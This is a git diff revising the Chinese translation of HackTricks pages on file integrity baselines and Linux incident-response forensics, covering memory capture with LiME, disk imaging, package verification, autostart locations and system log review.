* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# 基线
|
# 基线
|
||||||
|
|
||||||
基线是指对系统某些部分进行快照,以**与未来的状态进行比较,突出显示变化**。
|
基线包括对系统的某些部分进行快照,以便**将来与之进行比较以突出变化**。
|
||||||
|
|
||||||
例如,您可以计算并存储文件系统中每个文件的哈希值,以便找出哪些文件被修改。\
|
例如,您可以计算并存储文件系统中每个文件的哈希,以便找出哪些文件已被修改。\
|
||||||
这也可以用于创建的用户账户、正在运行的进程、正在运行的服务以及任何不应该发生太多变化或根本不变的其他事物。
|
这也可以用于创建的用户帐户、运行的进程、运行的服务以及任何其他不应该或根本不应该发生变化的事物。
|
||||||
|
|
||||||
## 文件完整性监控
|
## 文件完整性监控
|
||||||
|
|
||||||
文件完整性监控是用于保护IT基础设施和商业数据免受各种已知和未知威胁的最强大技术之一。\
|
文件完整性监控是用于保护IT基础设施和业务数据免受各种已知和未知威胁的最强大技术之一。\
|
||||||
目标是生成您想要监控的**所有文件的基线**,然后**定期** **检查**这些文件是否有可能发生**变化**(内容、属性、元数据等)。
|
其目标是生成您想要监控的所有文件的**基线**,然后**定期检查**这些文件以查找可能的**更改**(内容、属性、元数据等)。
|
||||||
|
|
||||||
1\. **基线比较**,其中将捕获或计算一个或多个文件属性,并存储为基线,以便将来进行比较。这可以简单到文件的时间和日期,但由于这些数据可以轻易伪造,通常会使用更可信的方法。这可能包括定期评估受监控文件的加密校验和(例如,使用MD5或SHA-2哈希算法),然后将结果与先前计算的校验和进行比较。
|
1\. **基线比较**,其中将捕获或计算一个或多个文件属性,并将其存储为可以在将来进行比较的基线。这可以简单到文件的时间和日期,但由于这些数据很容易被伪造,通常会使用更可信赖的方法。这可能包括定期评估受监控文件的加密校验和(例如使用MD5或SHA-2哈希算法),然后将结果与先前计算的校验和进行比较。
|
||||||
|
|
||||||
2\. **实时变更通知**,通常在操作系统的内核中实现或作为扩展,当文件被访问或修改时会发出标志。
|
2\. **实时更改通知**,通常在操作系统的内核内或作为其扩展实现,当文件被访问或修改时会发出标志。
|
||||||
|
|
||||||
## 工具
|
## 工具
|
||||||
|
|
||||||
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||||
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||||
|
|
||||||
# 参考资料
|
# 参考
|
||||||
|
|
||||||
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,24 +1,23 @@
|
||||||
# Linux 取证
|
# Linux取证
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\
|
|
||||||
立即获取访问权限:
|
立即获取访问权限:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
其他支持 HackTricks 的方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果你想在 HackTricks 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -26,12 +25,12 @@
|
||||||
|
|
||||||
### 基本信息
|
### 基本信息
|
||||||
|
|
||||||
首先,建议携带一个**USB**,里面有**已知良好的二进制文件和库**(你可以直接获取 ubuntu 并复制 _/bin_、_/sbin_、_/lib_ 和 _/lib64_ 文件夹),然后挂载 USB,并修改环境变量以使用这些二进制文件:
|
首先,建议准备一些带有**已知良好二进制文件和库的USB**(您可以使用Ubuntu并复制文件夹_/bin_,_/sbin_,_/lib_和_/lib64_),然后挂载USB,修改环境变量以使用这些二进制文件:
|
||||||
```bash
|
```bash
|
||||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||||
```
|
```
|
||||||
配置系统使用良好且已知的二进制文件后,您可以开始**提取一些基本信息**:
|
一旦您已配置系统以使用良好且已知的二进制文件,您可以开始**提取一些基本信息**:
|
||||||
```bash
|
```bash
|
||||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||||
uname -a #OS info
|
uname -a #OS info
|
||||||
|
@ -51,45 +50,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
||||||
```
|
```
|
||||||
#### 可疑信息
|
#### 可疑信息
|
||||||
|
|
||||||
在获取基本信息时,你应该检查一些异常情况,比如:
|
在获取基本信息时,应检查以下异常情况:
|
||||||
|
|
||||||
* **Root 进程** 通常具有较低的 PIDS,因此如果你发现一个具有较大 PID 的 root 进程,你可能会怀疑
|
- **Root进程**通常以较低的PID运行,因此如果发现一个具有较大PID的Root进程,可能存在可疑情况
|
||||||
* 检查 `/etc/passwd` 中没有 shell 的用户的**注册登录**
|
- 检查`/etc/passwd`中没有shell的用户的**注册登录**
|
||||||
* 检查 `/etc/shadow` 中没有 shell 的用户的**密码哈希**
|
- 检查`/etc/shadow`中没有shell的用户的**密码哈希值**
|
||||||
|
|
||||||
### 内存转储
|
### 内存转储
|
||||||
|
|
||||||
要获取正在运行的系统的内存,建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\
|
要获取运行系统的内存,建议使用[**LiME**](https://github.com/504ensicsLabs/LiME)。\
|
||||||
要**编译**它,你需要使用受害机器正在使用的**相同内核**。
|
要**编译**它,需要使用与受害者机器相同的**内核**。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
记住,你**不能在受害机器上安装 LiME 或任何其他东西**,因为这会对其进行多次更改
|
请记住,**不能在受害者机器上安装LiME或任何其他东西**,因为这将对其进行多处更改
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
因此,如果你有一个相同版本的 Ubuntu,你可以使用 `apt-get install lime-forensics-dkms`\
|
因此,如果您有一个相同版本的Ubuntu,可以使用`apt-get install lime-forensics-dkms`\
|
||||||
在其他情况下,你需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME),并使用正确的内核头文件进行编译。要**获取受害机器的确切内核头文件**,你可以简单地**复制目录** `/lib/modules/<kernel version>` 到你的机器,然后使用它们**编译** LiME:
|
在其他情况下,您需要从github下载[**LiME**](https://github.com/504ensicsLabs/LiME),并使用正确的内核头文件编译它。要**获取受害者机器的确切内核头文件**,您只需将目录`/lib/modules/<kernel version>`复制到您的机器上,然后使用它们**编译** LiME:
|
||||||
```bash
|
```bash
|
||||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||||
```
|
```
|
||||||
LiME支持3种**格式**:
|
LiME支持3种**格式**:
|
||||||
|
|
||||||
* Raw(每个段连续拼接在一起)
|
- 原始(每个段连接在一起)
|
||||||
* Padded(与raw相同,但右侧位填充零)
|
- 填充(与原始相同,但右位填充为零)
|
||||||
* Lime(带有元数据的推荐格式)
|
- Lime(推荐的带有元数据的格式)
|
||||||
|
|
||||||
LiME还可以用来**通过网络发送转储**,而不是将其存储在系统上,使用类似:`path=tcp:4444`
|
LiME还可以用于通过网络发送转储,而不是将其存储在系统上,使用类似以下的内容:`path=tcp:4444`
|
||||||
|
|
||||||
### 磁盘成像
|
### 磁盘成像
|
||||||
|
|
||||||
#### 关机
|
#### 关机
|
||||||
|
|
||||||
首先,你需要**关闭系统**。这并不总是一个选项,因为有时系统会是公司无法承受关闭的生产服务器。\
|
首先,您需要**关闭系统**。这并不总是一个选项,因为有时系统将是公司无法关闭的生产服务器。\
|
||||||
有**两种方式**可以关闭系统,一种是**正常关机**,另一种是**"拔插头"关机**。前者将允许**进程像往常一样终止**,并且**文件系统**会被**同步**,但它也会允许可能的**恶意软件**来**销毁证据**。"拔插头"方法可能会带来**一些信息丢失**(不会丢失太多信息,因为我们已经取得了内存的镜像),并且**恶意软件将没有任何机会**做任何事情。因此,如果你**怀疑**可能有**恶意软件**,只需在系统上执行**`sync`** **命令**然后拔掉插头。
|
有**2种**关闭系统的方式,**正常关闭**和**"拔插头"关闭**。第一种方式将允许**进程像往常一样终止**,**文件系统**也将被**同步**,但也会允许可能的**恶意软件**来**销毁证据**。"拔插头"方法可能会带来**一些信息丢失**(不会丢失太多信息,因为我们已经对内存进行了镜像),而**恶意软件将无法对此做任何事情**。因此,如果您**怀疑**可能存在**恶意软件**,只需在系统上执行**`sync`** **命令**然后拔掉电源插头。
|
||||||
|
|
||||||
#### 获取磁盘镜像
|
#### 对磁盘进行成像
|
||||||
|
|
||||||
需要注意的是,在将你的计算机连接到与案件相关的任何东西之前,你需要确保它将被**挂载为只读**,以避免修改任何信息。
|
重要的是要注意,在**将计算机连接到与案件相关的任何内容之前**,您需要确保它将以**只读**方式挂载,以避免修改任何信息。
|
||||||
```bash
|
```bash
|
||||||
#Create a raw copy of the disk
|
#Create a raw copy of the disk
|
||||||
dd if=<subject device> of=<image file> bs=512
|
dd if=<subject device> of=<image file> bs=512
|
||||||
|
@ -100,7 +99,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
|
||||||
```
|
```
|
||||||
### 磁盘映像预分析
|
### 磁盘映像预分析
|
||||||
|
|
||||||
对一个没有更多数据的磁盘映像进行成像。
|
使用没有更多数据的磁盘映像。
|
||||||
```bash
|
```bash
|
||||||
#Find out if it's a disk image using "file" command
|
#Find out if it's a disk image using "file" command
|
||||||
file disk.img
|
file disk.img
|
||||||
|
@ -153,11 +152,10 @@ r/r 16: secret.txt
|
||||||
icat -i raw -f ext4 disk.img 16
|
icat -i raw -f ext4 disk.img 16
|
||||||
ThisisTheMasterSecret
|
ThisisTheMasterSecret
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 来轻松构建并**自动化工作流程**,这些工作流程由世界上**最先进**的社区工具提供支持。
|
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
|
||||||
立即获取访问权限:
|
立即获取访问权限:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -166,8 +164,7 @@ ThisisTheMasterSecret
|
||||||
|
|
||||||
### 修改过的系统文件
|
### 修改过的系统文件
|
||||||
|
|
||||||
一些 Linux 系统具有**验证许多已安装组件的完整性**的功能,这提供了一种有效的方法来识别不寻常或不合位置的文件。例如,Linux 上的 `rpm -Va` 旨在验证使用 RedHat 包管理器安装的所有包。
|
一些Linux系统具有**验证许多已安装组件完整性**的功能,提供了一种有效的识别异常或位置不对的文件的方式。例如,在Linux上,`rpm -Va`旨在验证所有使用RedHat软件包管理器安装的软件包。
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
#RedHat
|
#RedHat
|
||||||
rpm -Va
|
rpm -Va
|
||||||
|
@ -177,7 +174,7 @@ debsums | grep -v "OK$" #apt-get install debsums
|
||||||
```
|
```
|
||||||
### 恶意软件/Rootkit 检测器
|
### 恶意软件/Rootkit 检测器
|
||||||
|
|
||||||
阅读以下页面以了解有助于发现恶意软件的工具:
|
阅读以下页面以了解可用于查找恶意软件的工具:
|
||||||
|
|
||||||
{% content-ref url="malware-analysis.md" %}
|
{% content-ref url="malware-analysis.md" %}
|
||||||
[malware-analysis.md](malware-analysis.md)
|
[malware-analysis.md](malware-analysis.md)
|
||||||
|
@ -185,10 +182,10 @@ debsums | grep -v "OK$" #apt-get install debsums
|
||||||
|
|
||||||
## 搜索已安装的程序
|
## 搜索已安装的程序
|
||||||
|
|
||||||
### 包管理器
|
### 软件包管理器
|
||||||
|
|
||||||
在基于Debian的系统中,_**/var/lib/dpkg/status**_ 文件包含已安装包的详细信息,而 _**/var/log/dpkg.log**_ 文件记录了包安装时的信息。\
|
在基于 Debian 的系统中,_**/var/ lib/dpkg/status**_ 文件包含有关已安装软件包的详细信息,而 _**/var/log/dpkg.log**_ 文件记录了软件包安装时的信息。\
|
||||||
在RedHat及相关Linux发行版中,**`rpm -qa --root=/mntpath/var/lib/rpm`** 命令将列出系统上RPM数据库的内容。
|
在 RedHat 及相关的 Linux 发行版中,**`rpm -qa --root=/ mntpath/var/lib/rpm`** 命令将列出系统上 RPM 数据库的内容。
|
||||||
```bash
|
```bash
|
||||||
#Debian
|
#Debian
|
||||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||||
|
@ -198,11 +195,11 @@ rpm -qa --root=/ mntpath/var/lib/rpm
|
||||||
```
|
```
|
||||||
### 其他
|
### 其他
|
||||||
|
|
||||||
**并非所有已安装的程序都会通过上述命令列出**,因为某些应用程序对于特定系统不提供包形式,必须从源代码安装。因此,检查像 _**/usr/local**_ 和 _**/opt**_ 这样的位置可能会发现其他已经从源代码编译并安装的应用程序。
|
**并非所有已安装的程序都会在上述命令中列出**,因为某些应用程序在某些系统上不作为软件包提供,必须从源代码安装。因此,检查诸如 _**/usr/local**_ 和 _**/opt**_ 等位置可能会发现其他已从源代码编译并安装的应用程序。
|
||||||
```bash
|
```bash
|
||||||
ls /opt /usr/local
|
ls /opt /usr/local
|
||||||
```
|
```
|
||||||
另一个好主意是**检查**位于**$PATH**中的**常见文件夹**,寻找与**已安装包无关的二进制文件:**
|
另一个好主意是**检查**`$PATH`中的**常见文件夹**,查找与**已安装软件包无关**的**可执行文件**:
|
||||||
```bash
|
```bash
|
||||||
#Both lines are going to print the executables in /sbin non related to installed packages
|
#Both lines are going to print the executables in /sbin non related to installed packages
|
||||||
#Debian
|
#Debian
|
||||||
|
@ -210,7 +207,15 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
||||||
#RedHat
|
#RedHat
|
||||||
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||||
```
|
```
|
||||||
## 恢复已删除的运行中二进制文件
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建并**自动化**由全球**最先进**的社区工具驱动的工作流。\
|
||||||
|
立即获取访问权限:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## 恢复已删除的运行二进制文件
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (641).png>)
|
![](<../../.gitbook/assets/image (641).png>)
|
||||||
|
|
||||||
|
@ -232,7 +237,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
||||||
```
|
```
|
||||||
### 服务
|
### 服务
|
||||||
|
|
||||||
恶意软件通常会将自己伪装成一个新的、未授权的服务。Linux有许多脚本用于在计算机启动时启动服务。初始化启动脚本 _**/etc/inittab**_ 会调用其他脚本,如rc.sysinit以及位于 _**/etc/rc.d/**_ 目录下的各种启动脚本,或在某些较旧版本中的 _**/etc/rc.boot/**_。在其他版本的Linux中,如Debian,启动脚本存储在 _**/etc/init.d/**_ 目录中。此外,一些常见服务在 _**/etc/inetd.conf**_ 或 _**/etc/xinetd/**_ 中启用,具体取决于Linux的版本。数字调查员应检查这些启动脚本中是否有异常条目。
|
恶意软件经常会将自己深入嵌入为一个新的未经授权的服务。Linux有许多脚本用于在计算机启动时启动服务。初始化启动脚本 _**/etc/inittab**_ 调用其他脚本,如 rc.sysinit 和 _**/etc/rc.d/**_ 目录下的各种启动脚本,或者在一些旧版本中是 _**/etc/rc.boot/**_。在其他版本的Linux中,如Debian,启动脚本存储在 _**/etc/init.d/**_ 目录中。此外,一些常见服务在 _**/etc/inetd.conf**_ 或 _**/etc/xinetd/**_ 中启用,具体取决于Linux的版本。数字取证人员应检查每个启动脚本中是否存在异常条目。
|
||||||
|
|
||||||
* _**/etc/inittab**_
|
* _**/etc/inittab**_
|
||||||
* _**/etc/rc.d/**_
|
* _**/etc/rc.d/**_
|
||||||
|
@ -245,50 +250,50 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
||||||
|
|
||||||
### 内核模块
|
### 内核模块
|
||||||
|
|
||||||
在Linux系统中,内核模块通常被用作恶意软件包的rootkit组件。根据 `/lib/modules/'uname -r'` 和 `/etc/modprobe.d` 目录中的配置信息,以及 `/etc/modprobe` 或 `/etc/modprobe.conf` 文件,内核模块在系统启动时加载。应检查这些区域是否有与恶意软件相关的项目。
|
在Linux系统中,内核模块通常被用作恶意软件包的rootkit组件。内核模块是根据 `/lib/modules/'uname -r'` 和 `/etc/modprobe.d` 目录中的配置信息以及 `/etc/modprobe` 或 `/etc/modprobe.conf` 文件在系统启动时加载的。应检查这些区域是否存在与恶意软件相关的条目。
|
||||||
|
|
||||||
### 其他自启动位置
|
### 其他自启动位置
|
||||||
|
|
||||||
Linux使用几个配置文件在用户登录系统时自动启动可执行文件,这些文件可能包含恶意软件的痕迹。
|
Linux有几个配置文件用于在用户登录系统时自动启动可执行文件,这些文件可能包含恶意软件的痕迹。
|
||||||
|
|
||||||
* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ 在任何用户账户登录时执行。
|
* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ 在任何用户帐户登录时执行。
|
||||||
* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ 在特定用户登录时执行。
|
* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ 在特定用户登录时执行。
|
||||||
* _**/etc/rc.local**_ 传统上在所有正常系统服务启动后执行,在切换到多用户运行级别的过程结束时执行。
|
* _**/etc/rc.local**_ 传统上在所有正常系统服务启动后执行,在切换到多用户运行级别的过程结束时执行。
|
||||||
|
|
||||||
## 检查日志
|
## 检查日志
|
||||||
|
|
||||||
检查受损系统上所有可用的日志文件,寻找恶意执行和相关活动的痕迹,如创建新服务。
|
在受损系统上查看所有可用的日志文件,以查找恶意执行和相关活动的痕迹,如创建新服务。
|
||||||
|
|
||||||
### 纯日志
|
### 纯日志
|
||||||
|
|
||||||
**登录** 事件记录在系统和安全日志中,包括通过网络的登录,可以揭示 **恶意软件** 或 **入侵者通过特定账户在特定时间获得了** 对受损系统的访问。恶意软件感染时的其他事件也可以在系统日志中捕获,包括在事件发生时创建 **新的** **服务** 或新账户。\
|
系统和安全日志中记录的**登录**事件,包括通过网络登录,可以显示**恶意软件**或**入侵者**在特定时间通过给定帐户访问受损系统的情况。系统日志中还可以捕获与恶意软件感染时间相关的其他事件,包括在事件发生时创建**新**的**服务**或新帐户。\
|
||||||
值得关注的系统登录:
|
有趣的系统登录:
|
||||||
|
|
||||||
* **/var/log/syslog** (debian) 或 **/var/log/messages** (Redhat)
|
* **/var/log/syslog** (debian) 或 **/var/log/messages** (Redhat)
|
||||||
* 显示系统的一般消息和信息。它是全局系统所有活动的数据日志。
|
* 显示有关系统的一般消息和信息。这是全局系统活动的数据日志。
|
||||||
* **/var/log/auth.log** (debian) 或 **/var/log/secure** (Redhat)
|
* **/var/log/auth.log** (debian) 或 **/var/log/secure** (Redhat)
|
||||||
* 保存成功或失败的登录和认证过程的认证日志。存储取决于系统类型。
|
* 保留成功或失败登录以及认证过程的认证日志。存储位置取决于系统类型。
|
||||||
* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"`
|
* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"`
|
||||||
* **/var/log/boot.log**:启动消息和启动信息。
|
* **/var/log/boot.log**:启动消息和引导信息。
|
||||||
* **/var/log/maillog** 或 **var/log/mail.log**:邮件服务器日志,对于在服务器上运行的postfix、smtpd或与电子邮件相关的服务信息很有用。
|
* **/var/log/maillog** 或 **var/log/mail.log**:用于邮件服务器日志,适用于在服务器上运行的postfix、smtpd或与电子邮件相关的服务信息。
|
||||||
* **/var/log/kern.log**:保存内核日志和警告信息。内核活动日志(例如,dmesg、kern.log、klog)可以显示某个服务反复崩溃,可能表明安装了不稳定的木马化版本。
|
* **/var/log/kern.log**:保留内核日志和警告信息。内核活动日志(例如,dmesg、kern.log、klog)可以显示特定服务重复崩溃,可能表明安装了不稳定的木马版本。
|
||||||
* **/var/log/dmesg**:设备驱动消息的存储库。使用 **dmesg** 查看此文件中的消息。
|
* **/var/log/dmesg**:设备驱动程序消息的存储库。使用 **dmesg** 查看此文件中的消息。
|
||||||
* **/var/log/faillog**:记录失败登录的信息。因此,对于检查潜在的安全漏洞,如登录凭证被黑和暴力攻击,非常有用。
|
* **/var/log/faillog**:记录失败登录的信息。因此,适用于检查潜在的安全漏洞,如登录凭据被盗和暴力攻击。
|
||||||
* **/var/log/cron**:记录与Crond相关的消息(cron作业)。比如cron守护进程启动作业的时候。
|
* **/var/log/cron**:记录与Crond相关的消息(cron作业)。例如,cron守护程序启动作业时。
|
||||||
* **/var/log/daemon.log**:跟踪运行中的后台服务,但不以图形方式表示它们。
|
* **/var/log/daemon.log**:跟踪运行的后台服务,但不以图形方式表示。
|
||||||
* **/var/log/btmp**:记录所有失败的登录尝试。
|
* **/var/log/btmp**:记录所有失败的登录尝试。
|
||||||
* **/var/log/httpd/**:包含Apache httpd守护进程的error\_log和access\_log文件的目录。httpd遇到的每个错误都保存在 **error\_log** 文件中。考虑内存问题和其他系统相关的错误。**access\_log** 记录通过HTTP收到的所有请求。
|
* **/var/log/httpd/**:包含Apache httpd守护程序的error\_log和access\_log文件的目录。httpd遇到的每个错误都记录在 **error\_log** 文件中。考虑内存问题和其他系统相关错误。**access\_log** 记录通过HTTP进入的所有请求。
|
||||||
* **/var/log/mysqld.log** 或 **/var/log/mysql.log**:MySQL日志文件,记录每个调试、失败和成功消息,包括MySQL守护进程mysqld的启动、停止和重启。系统决定目录。RedHat、CentOS、Fedora和其他基于RedHat的系统使用 /var/log/mariadb/mariadb.log。然而,Debian/Ubuntu使用 /var/log/mysql/error.log 目录。
|
